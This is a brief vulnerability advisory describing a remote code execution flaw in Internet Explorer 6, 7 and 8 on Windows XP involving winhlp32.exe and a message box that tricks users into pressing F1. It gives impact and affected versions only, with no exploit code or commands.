Microsoft Internet Explorer 678 - winhlp32.exe MsgBox() Remote Code Execution

                                        
                                            Microsoft Internet Explorer is prone to a remote code execution vulnerability.

Attackers can exploit this issue to execute arbitrary code in the context of the user running the application. Successful exploits will compromise the application and possibly the underlying computer.

Note attackers must use social-engineering techniques to convince an unsuspecting user to press the 'F1' key when the attacker's message box prompts them to do so.

Internet Explorer 6, 7, and 8 are vulnerable when running on the Windows XP platform.
